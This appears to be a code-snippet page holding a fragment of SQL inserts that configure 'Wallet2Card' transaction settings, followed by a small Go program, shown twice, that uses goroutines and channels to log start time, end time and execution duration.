0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Wallet2Card', 'NONE', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Wallet2Card', 'NONE', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Wallet2Card', 'NONE', 'OTHERS', 0, 0, 0);
package main import ( "fmt" "time" "strconv" ) // The pinger prints a ping and waits for a pong func startLog(startTime time.Time, pinger <-chan int) { <-pinger fmt.Println("Start log:") fmt.Println(startTime) } // The ponger prints a pong and waits for a ping func endLog(startTime time.Time, ponger <-chan int) { <-ponger endTime := time.Now() diffTime := endTime.UnixNano() - startTime.UnixNano() fmt.Println("End log: ") fmt.Println(endTime) fmt.Println("Execution time: " + strconv.FormatInt(diffTime, 10) + " nanoseconds") } func startLogThread(startTime time.Time) { ping := make(chan int) go startLog(startTime, ping) ping <- 1 } func endLogThread(startTime time.Time) { pong := make(chan int) go endLog(startTime, pong) pong <- 1 } func main() { startTime := time.Now() fmt.Println("Start test") fmt.Println("") startLogThread(startTime) fmt.Println("") fmt.Println("Function is needed to measure performance => HERE") fmt.Println("") endLogThread(startTime) fmt.Println("") fmt.Println("End test") }
package main import ( "fmt" "time" "strconv" ) // The pinger prints a ping and waits for a pong func startLog(startTime time.Time, pinger <-chan int) { <-pinger fmt.Println("Start log:") fmt.Println(startTime) } // The ponger prints a pong and waits for a ping func endLog(startTime time.Time, ponger <-chan int) { <-ponger endTime := time.Now() diffTime := endTime.UnixNano() - startTime.UnixNano() fmt.Println("End log: ") fmt.Println(endTime) fmt.Println("Execution time: " + strconv.FormatInt(diffTime, 10) + " nanoseconds") } func startLogThread(startTime time.Time) { ping := make(chan int) go startLog(startTime, ping) ping <- 1 } func endLogThread(startTime time.Time) { pong := make(chan int) go endLog(startTime, pong) pong <- 1 } func main() { startTime := time.Now() fmt.Println("Start test") fmt.Println("") startLogThread(startTime) fmt.Println("") fmt.Println("Function is needed to measure performance => HERE") fmt.Println("") endLogThread(startTime) fmt.Println("") fmt.Println("End test") }
We use cookies to provide and improve our services. By using our site, you consent to our Cookies Policy. Accept Learn more